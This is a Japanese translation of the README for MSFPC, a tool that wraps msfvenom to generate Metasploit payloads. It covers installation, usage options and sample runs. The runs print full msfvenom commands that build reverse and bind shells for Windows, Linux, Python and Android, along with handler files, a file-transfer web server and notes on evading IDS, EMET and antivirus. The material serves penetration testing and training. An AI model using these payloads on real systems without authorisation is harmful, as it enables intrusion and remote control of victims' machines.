
MSFvenom ペイロード作成ツール (MSFPC)
msfvenom(Metasploitフレームワークの一部)を利用して、さまざまな「基本的な」Meterpreterペイロードを手軽に生成するためのツールです。
MSFvenom Payload Creator(MSFPC)は、ユーザーの選択に基づいて複数のタイプのペイロードを生成するラッパーです。目的は、ペイロードを生成するために可能な限りシンプルにすることです(入力は1つだけでよい)。
msfvenomとMetasploitを完全に自動化することが最終目標です(また、MSFPC自体を自動化できるようにすることも目標です)。 それ以外は、ユーザーの作業を可能な限り簡単にすることです(例:IP選択メニュー、msfconsoleリソースファイル/コマンド、バッチペイロード生成、および任意の順序で引数を入力できること(さまざまな形式/パターンで))。
ユーザーが必要とする唯一の入力は、プラットフォーム(例:windows)または希望するペイロードのファイル拡張子(例:exe)のいずれかで、ペイロードを定義することです。
eth0。wan。loop を試してください。batch(すべて)、batch msf(すべてのMeterpreterオプション)、batch staged(すべてのステージドペイロード)、または batch cmd stageless(すべてのステージレスコマンドプロンプト)を試してください。注:これはどの段階でもアンチウイルス対策を回避しようとはしません。

$ curl -k -L "https://raw.githubusercontent.com/g0tmi1k/mpc/master/msfpc.sh" > /usr/local/bin/msfpc
$ chmod 0755 /usr/local/bin/msfpc
MSFPC は Kali Rolling で既に パッケージ化 されています。したがって、次のコマンドを実行するだけです:
root@kali:~# apt install -y msfpc
$ bash msfpc.sh -h -v
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
msfpc.sh <TYPE> (<DOMAIN/IP>) (<PORT>) (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>) (<VERBOSE>)
例: msfpc.sh windows 192.168.1.10 # Windows と手動IP。
msfpc.sh elf bind eth0 4444 # Linux、eth0のIPと手動ポート。
msfpc.sh stageless cmd py https # Python、ステージレスコマンドプロンプト。
msfpc.sh verbose loop eth1 # すべてのタイプのペイロードを1つずつ、eth1のIPを使用。
msfpc.sh msf batch wan # すべてのMeterpreterペイロード、WAN IPを使用。
msfpc.sh help verbose # ヘルプ画面、より詳細な情報を表示。
<TYPE>:
+ APK
+ ASP
+ ASPX
+ Bash [.sh]
+ Java [.jsp]
+ Linux [.elf]
+ OSX [.macho]
+ Perl [.pl]
+ PHP
+ Powershell [.ps1]
+ Python [.py]
+ Tomcat [.war]
+ Windows [.exe // .dll]
<DOMAIN/IP> の代わりにインターフェース名を指定すると、MSFPCがそのIPアドレスを検出します。
<DOMAIN/IP> を省略すると、IPメニューが表示されます。
<PORT> を省略すると、443がデフォルトになります。
<CMD> は標準/ネイティブのコマンドプロンプト/ターミナルで、対話操作を行います。
<MSF> はカスタムのクロスプラットフォームシェルで、Metasploitの全機能を利用できます。
<CMD/MSF> を省略すると、可能な限り <MSF> がデフォルトになります。
注:Metasploitはすべての <TYPE> 形式で <CMD/MSF> を(まだ)サポートしていません。
<CMD> ペイロードは一般的に <MSF> よりも小さく、EMETを回避しやすいです。Metasploitのポストモジュール/スクリプトのサポートは制限されます。
<MSF> ペイロードは一般的に <CMD> よりもはるかに大きく、より多くの機能を備えています。
<BIND> はターゲット側でポートを開き、攻撃者が接続します。ターゲットのIngressファイアウォールルールでブロックされることが多いです。
<REVERSE> はターゲットが攻撃者に接続を戻します。攻撃者は開いているポートを必要とします。ターゲットのEgressファイアウォールルールでブロックされます。
<BIND/REVERSE> を省略すると、<REVERSE> がデフォルトになります。
<BIND> は攻撃者が好きなときに接続できるようにします。<REVERSE> は永続的なアクセスを維持するためにターゲットが繰り返し接続を戻す必要があります。
<STAGED> はペイロードを複数の部分に分割し、小さくしますがMetasploitに依存します。
<STAGELESS> は完全なスタンドアロンペイロードです。<STAGED> よりも「安定」しています。
<STAGED/STAGELESS> を省略すると、可能な限り <STAGED> がデフォルトになります。
注:Metasploitはすべての <TYPE> 形式で <STAGED/STAGELESS> を(まだ)サポートしていません。
<STAGED> は低帯域幅/高遅延環境で「優れています」。
<STAGELESS> はアンチウイルス対策を回避する際に「ステルス性が高い」と見なされます。<STAGED> はIDS/IPSで「より効果的に」機能する場合があります。
詳細情報: https://community.rapid7.com/community/metasploit/blog/2015/03/25/stageless-meterpreter-payloads
https://www.offensive-security.com/metasploit-unleashed/payload-types/
https://www.offensive-security.com/metasploit-unleashed/payloads/
<TCP> は標準的な接続方法です。RAWであるため、ほとんどのTYPEと互換性があります。IDSで容易に検出される可能性があります。
<HTTP> は通信をHTTPトラフィック(暗号化なし)のように見せかけます。パケットインスペクションでプロトコルに基づいてポートアクセスを制限する場合(例:TCP 80)に役立ちます。
<HTTPS> は通信を(暗号化された)HTTPトラフィック(SSLを使用)のように見せかけます。パケットインスペクションでプロトコルに基づいてポートアクセスを制限する場合(例:TCP 443)に役立ちます。
<FIND_PORT> はターゲットマシンのすべてのポートを試行し、出口を見つけます。厳格なIngress/Egressファイアウォールルールがある場合に役立ちます。<TYPE> に基づいて 'allports' に切り替わります。
<TCP/HTTP/HTTPS/FIND_PORT> を省略すると、<TCP> がデフォルトになります。
<HTTP> やさらに <HTTPS> のようにトラフィックを変更すると、通信速度が低下し、ペイロードサイズが増加します。
詳細情報: https://community.rapid7.com/community/metasploit/blog/2011/06/29/meterpreter-httphttps-communication
<BATCH> は可能な限り多くの組み合わせを生成します:<TYPE>、<CMD + MSF>、<BIND + REVERSE>、<STAGED + STAGLESS>、および <TCP + HTTP + HTTPS + FIND_PORT>
<LOOP> は各 <TYPE> を1つずつ作成するだけです。
<VERBOSE> はより多くの情報を表示します。
$
$ bash msfpc.sh windows 192.168.1.10
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
[i] IP: 192.168.1.10
[i] PORT: 443
[i] TYPE: windows (windows/meterpreter/reverse_tcp)
[i] CMD: msfvenom -p windows/meterpreter/reverse_tcp -f exe \
--platform windows -a x86 -e generic/none LHOST=192.168.1.10 LPORT=443 \
> '/root/windows-meterpreter-staged-reverse-tcp-443.exe'
[i] windows meterpreter created: '/root/windows-meterpreter-staged-reverse-tcp-443.exe'
[i] MSF handler file: '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'
[i] Run: msfconsole -q -r '/root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'
[?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
[*] Done!
$
$ ./msfpc.sh elf bind eth0 4444 verbose
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
[i] IP: 192.168.103.142
[i] PORT: 4444
[i] TYPE: linux (linux/x86/shell/bind_tcp)
[i] SHELL: shell
[i] DIRECTION: bind
[i] STAGE: staged
[i] METHOD: tcp
[i] CMD: msfvenom -p linux/x86/shell/bind_tcp -f elf \
--platform linux -a x86 -e generic/none LPORT=4444 \
> '/root/linux-shell-staged-bind-tcp-4444.elf'
[i] linux shell created: '/root/linux-shell-staged-bind-tcp-4444.elf'
[i] File: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, corrupted section header size
[i] Size: 4.0K
[i] MD5: eed4623b765eea623f2e0206b63aad61
[i] SHA1: 0b5dabd945ef81ec9283768054b3c22125aa9185
[i] MSF handler file: '/root/linux-shell-staged-bind-tcp-4444-elf.rc'
[i] Run: msfconsole -q -r '/root/linux-shell-staged-bind-tcp-4444-elf.rc'
[?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
[*] Done!
$
$ msfpc stageless cmd py tcp
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
[i] Use which interface - IP address?:
[i] 1.) eth0 - 192.168.103.142
[i] 2.) lo - 127.0.0.1
[i] 3.) wan - 31.204.154.174
[?] Select 1-3, interface or IP address: 1
[i] IP: 192.168.103.142
[i] PORT: 443
[i] TYPE: python (python/shell_reverse_tcp)
[i] CMD: msfvenom -p python/shell_reverse_tcp -f raw \
--platform python -e generic/none -a python LHOST=192.168.103.142 LPORT=443 \
> '/root/python-shell-stageless-reverse-tcp-443.py'
[i] python shell created: '/root/python-shell-stageless-reverse-tcp-443.py'
[i] MSF handler file: '/root/python-shell-stageless-reverse-tcp-443-py.rc'
[i] Run: msfconsole -q -r '/root/python-shell-stageless-reverse-tcp-443-py.rc'
[?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
[*] Done!
$
注:WAN IPは削除されています。
$ ./msfpc.sh loop wan
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
[i] Loop Mode. Creating one of each TYPE, with default values
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
[i] IP: xxx.xxx.xxx.xxx
[i] PORT: 443
[i] TYPE: android (android/meterpreter/reverse_tcp)
[i] CMD: msfvenom -p android/meterpreter/reverse_tcp \
LHOST=xxx.xxx.xxx.xxx LPORT=443 \
> '/root/android-meterpreter-stageless-reverse-tcp-443.apk'
[i] android meterpreter created: '/root/android-meterpreter-stageless-reverse-tcp-443.apk'
[i] MSF handler file: '/root/android-meterpreter-stageless-reverse-tcp-443-apk.rc'
[i] Run: msfconsole -q -r '/root/android-meterpreter-stageless-reverse-tcp-443-apk.rc'
[?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
[*] Done!
[*] MSFvenom Payload Creator (MSFPC v1.4.4)
...中略...
[*] Done!
$
注:WAN IPは削除されています。

powershell_bind_tcp や bind_perl など)